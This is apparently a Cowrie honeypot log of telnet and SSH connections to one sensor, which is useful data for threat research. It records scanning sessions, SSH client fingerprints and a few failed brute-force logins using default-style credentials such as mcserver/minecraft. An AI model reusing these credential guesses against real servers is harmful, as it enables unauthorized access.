{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":33652,"dst_ip":"159.203.135.109","dst_port":23,"session":"6a833a9a6e9e","protocol":"telnet","message":"New connection: 209.159.146.115:33652 (159.203.135.109:23) [session: 6a833a9a6e9e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:55:29.983770Z"}
{"eventid":"cowrie.session.closed","duration":33.56613302230835,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:55:31.398279Z","src_ip":"209.159.146.115","session":"b573689c4f3e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":45698,"dst_ip":"159.203.135.109","dst_port":23,"session":"3b76c4acd269","protocol":"telnet","message":"New connection: 209.159.146.115:45698 (159.203.135.109:23) [session: 3b76c4acd269]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:55:33.104262Z"}
{"eventid":"cowrie.session.closed","duration":44.63320016860962,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:55:34.000103Z","src_ip":"209.159.146.115","session":"02af561556bd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.13851356506348,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:55:35.206381Z","src_ip":"209.159.146.115","session":"17a4179ae595","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":55226,"dst_ip":"159.203.135.109","dst_port":23,"session":"8d2dfb376ea6","protocol":"telnet","message":"New connection: 209.159.146.115:55226 (159.203.135.109:23) [session: 8d2dfb376ea6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:55:36.689817Z"}
{"eventid":"cowrie.session.closed","duration":38.27864217758179,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:55:37.116453Z","src_ip":"209.159.146.115","session":"14dd75b407ec","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":58518,"dst_ip":"159.203.135.109","dst_port":23,"session":"6e6f2e46bd32","protocol":"telnet","message":"New connection: 209.159.146.115:58518 (159.203.135.109:23) [session: 6e6f2e46bd32]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:55:37.604811Z"}
{"eventid":"cowrie.session.closed","duration":33.12716722488403,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:55:39.420075Z","src_ip":"209.159.146.115","session":"f208fc0014d4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.729506969451904,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:55:41.501089Z","src_ip":"209.159.146.115","session":"b09019281a57","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":47682,"dst_ip":"159.203.135.109","dst_port":23,"session":"3589186360d7","protocol":"telnet","message":"New connection: 209.159.146.115:47682 (159.203.135.109:23) [session: 3589186360d7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:55:42.009397Z"}
{"eventid":"cowrie.session.closed","duration":33.6971378326416,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:55:43.402600Z","src_ip":"209.159.146.115","session":"93c2bd70f381","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.95671606063843,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:55:44.869758Z","src_ip":"209.159.146.115","session":"25a46bc6995d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.82253384590149,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:55:46.252043Z","src_ip":"209.159.146.115","session":"357137c75d90","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":36792,"dst_ip":"159.203.135.109","dst_port":23,"session":"5158680c20e1","protocol":"telnet","message":"New connection: 209.159.146.115:36792 (159.203.135.109:23) [session: 5158680c20e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:55:47.110568Z"}
{"eventid":"cowrie.session.closed","duration":34.64836859703064,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:55:47.915449Z","src_ip":"209.159.146.115","session":"436fe3f4c1fd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.37505030632019,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:55:47.978042Z","src_ip":"209.159.146.115","session":"4402c3b8ac69","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":45104,"dst_ip":"159.203.135.109","dst_port":23,"session":"3d151642a41c","protocol":"telnet","message":"New connection: 209.159.146.115:45104 (159.203.135.109:23) [session: 3d151642a41c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:55:49.029290Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":46358,"dst_ip":"159.203.135.109","dst_port":23,"session":"6f69ed189511","protocol":"telnet","message":"New connection: 209.159.146.115:46358 (159.203.135.109:23) [session: 6f69ed189511]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:55:49.276476Z"}
{"eventid":"cowrie.session.closed","duration":32.7419536113739,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:55:51.336053Z","src_ip":"209.159.146.115","session":"b8164d2db45f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.91594314575195,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:55:51.368036Z","src_ip":"209.159.146.115","session":"d17a271f4319","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":56834,"dst_ip":"159.203.135.109","dst_port":23,"session":"befb994b174d","protocol":"telnet","message":"New connection: 209.159.146.115:56834 (159.203.135.109:23) [session: befb994b174d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:55:51.525774Z"}
{"eventid":"cowrie.session.closed","duration":32.875468254089355,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:55:51.906770Z","src_ip":"209.159.146.115","session":"1991f4bcdba2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.62033152580261,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:55:52.649733Z","src_ip":"209.159.146.115","session":"1108c0474afe","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":39994,"dst_ip":"159.203.135.109","dst_port":23,"session":"82a9f33cb016","protocol":"telnet","message":"New connection: 209.159.146.115:39994 (159.203.135.109:23) [session: 82a9f33cb016]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:55:53.107444Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":40076,"dst_ip":"159.203.135.109","dst_port":23,"session":"33b2bcd53281","protocol":"telnet","message":"New connection: 209.159.146.115:40076 (159.203.135.109:23) [session: 33b2bcd53281]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:55:53.141197Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.26.126.47","src_port":42298,"dst_ip":"159.203.135.109","dst_port":23,"session":"3139a25173de","protocol":"telnet","message":"New connection: 185.26.126.47:42298 (159.203.135.109:23) [session: 3139a25173de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:55:54.332179Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.26.126.47","src_port":42516,"dst_ip":"159.203.135.109","dst_port":23,"session":"3367ea7d6f77","protocol":"telnet","message":"New connection: 185.26.126.47:42516 (159.203.135.109:23) [session: 3367ea7d6f77]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:55:54.556121Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":52114,"dst_ip":"159.203.135.109","dst_port":23,"session":"611b0546084d","protocol":"telnet","message":"New connection: 209.159.146.115:52114 (159.203.135.109:23) [session: 611b0546084d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:55:55.212466Z"}
{"eventid":"cowrie.session.connect","src_ip":"157.66.34.121","src_port":43968,"dst_ip":"159.203.135.109","dst_port":22,"session":"e017ad0d6d58","protocol":"ssh","message":"New connection: 157.66.34.121:43968 (159.203.135.109:22) [session: e017ad0d6d58]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:55:55.904126Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:55:55.908881Z","src_ip":"157.66.34.121","session":"e017ad0d6d58","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:55:56.151137Z","src_ip":"157.66.34.121","session":"e017ad0d6d58","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.532623291015625,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:55:56.713804Z","src_ip":"209.159.146.115","session":"cc1dd533200a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":60830,"dst_ip":"159.203.135.109","dst_port":23,"session":"fe21140690a0","protocol":"telnet","message":"New connection: 209.159.146.115:60830 (159.203.135.109:23) [session: fe21140690a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:55:57.143422Z"}
{"eventid":"cowrie.login.failed","username":"mcserver","password":"minecraft","message":"login attempt [mcserver/minecraft] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:55:57.179278Z","src_ip":"157.66.34.121","session":"e017ad0d6d58","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.20484805107117,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:55:57.201109Z","src_ip":"209.159.146.115","session":"791eba5ccaae","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.26.126.47","src_port":42372,"dst_ip":"159.203.135.109","dst_port":23,"session":"588ff07b3f0a","protocol":"telnet","message":"New connection: 185.26.126.47:42372 (159.203.135.109:23) [session: 588ff07b3f0a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:55:57.431032Z"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:55:58.424124Z","src_ip":"157.66.34.121","session":"e017ad0d6d58","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":39818,"dst_ip":"159.203.135.109","dst_port":23,"session":"2b6d96406b78","protocol":"telnet","message":"New connection: 209.159.146.115:39818 (159.203.135.109:23) [session: 2b6d96406b78]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:55:59.471785Z"}
{"eventid":"cowrie.session.closed","duration":33.34430122375488,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:55:59.796920Z","src_ip":"209.159.146.115","session":"ae0cc7a42864","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.247011423110962,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:55:59.952082Z","src_ip":"209.159.146.115","session":"f04babab8ff3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.398706674575806,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:56:01.382365Z","src_ip":"209.159.146.115","session":"6a833a9a6e9e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":49940,"dst_ip":"159.203.135.109","dst_port":23,"session":"6c4d49e9fcff","protocol":"telnet","message":"New connection: 209.159.146.115:49940 (159.203.135.109:23) [session: 6c4d49e9fcff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:56:01.609872Z"}
{"eventid":"cowrie.session.closed","duration":33.89588165283203,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:56:02.732026Z","src_ip":"209.159.146.115","session":"bf19a4c51803","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.243099212646484,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:56:03.519625Z","src_ip":"209.159.146.115","session":"3faaf857e4be","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":43610,"dst_ip":"159.203.135.109","dst_port":23,"session":"921a04025d62","protocol":"telnet","message":"New connection: 209.159.146.115:43610 (159.203.135.109:23) [session: 921a04025d62]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:56:03.535317Z"}
{"eventid":"cowrie.session.connect","src_ip":"186.13.24.118","src_port":39928,"dst_ip":"159.203.135.109","dst_port":22,"session":"17b2977e665b","protocol":"ssh","message":"New connection: 186.13.24.118:39928 (159.203.135.109:22) [session: 17b2977e665b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:56:03.829506Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:56:03.834736Z","src_ip":"186.13.24.118","session":"17b2977e665b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:56:03.998175Z","src_ip":"186.13.24.118","session":"17b2977e665b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vsftpd","password":"vsftpd","message":"login attempt [vsftpd/vsftpd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:56:04.664279Z","src_ip":"186.13.24.118","session":"17b2977e665b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":44990,"dst_ip":"159.203.135.109","dst_port":23,"session":"9a6b9409d5b2","protocol":"telnet","message":"New connection: 209.159.146.115:44990 (159.203.135.109:23) [session: 9a6b9409d5b2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:56:05.040988Z"}
{"eventid":"cowrie.session.closed","duration":37.11989140510559,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:56:05.415924Z","src_ip":"209.159.146.115","session":"a06ba4d482dd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:56:05.825696Z","src_ip":"186.13.24.118","session":"17b2977e665b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.082711935043335,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:56:06.004761Z","src_ip":"209.159.146.115","session":"5cad0d21ba65","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":50378,"dst_ip":"159.203.135.109","dst_port":23,"session":"16cf1cfeff26","protocol":"telnet","message":"New connection: 209.159.146.115:50378 (159.203.135.109:23) [session: 16cf1cfeff26]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:56:06.572691Z"}
{"eventid":"cowrie.session.closed","duration":34.02413749694824,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:56:07.128227Z","src_ip":"209.159.146.115","session":"3b76c4acd269","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":58440,"dst_ip":"159.203.135.109","dst_port":23,"session":"2a25be7cdf5d","protocol":"telnet","message":"New connection: 209.159.146.115:58440 (159.203.135.109:23) [session: 2a25be7cdf5d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:56:07.817864Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":60120,"dst_ip":"159.203.135.109","dst_port":23,"session":"52e809e389db","protocol":"telnet","message":"New connection: 209.159.146.115:60120 (159.203.135.109:23) [session: 52e809e389db]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:56:08.095454Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":32920,"dst_ip":"159.203.135.109","dst_port":23,"session":"7a49e48fc6ff","protocol":"telnet","message":"New connection: 209.159.146.115:32920 (159.203.135.109:23) [session: 7a49e48fc6ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:56:08.643078Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":36528,"dst_ip":"159.203.135.109","dst_port":23,"session":"bbb09ff03d37","protocol":"telnet","message":"New connection: 209.159.146.115:36528 (159.203.135.109:23) [session: bbb09ff03d37]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:56:09.216521Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":36942,"dst_ip":"159.203.135.109","dst_port":23,"session":"50498e8ae0a5","protocol":"telnet","message":"New connection: 209.159.146.115:36942 (159.203.135.109:23) [session: 50498e8ae0a5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:56:09.349952Z"}
{"eventid":"cowrie.session.closed","duration":33.599581480026245,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:56:10.289274Z","src_ip":"209.159.146.115","session":"8d2dfb376ea6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.04404854774475,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:56:10.648733Z","src_ip":"209.159.146.115","session":"6e6f2e46bd32","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":57784,"dst_ip":"159.203.135.109","dst_port":23,"session":"668d0a1e0d08","protocol":"telnet","message":"New connection: 209.159.146.115:57784 (159.203.135.109:23) [session: 668d0a1e0d08]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:56:13.252536Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":51382,"dst_ip":"159.203.135.109","dst_port":22,"session":"10cd19264f45","protocol":"ssh","message":"New connection: 159.203.92.129:51382 (159.203.135.109:22) [session: 10cd19264f45]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:56:14.271598Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:56:14.276251Z","src_ip":"159.203.92.129","session":"10cd19264f45","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none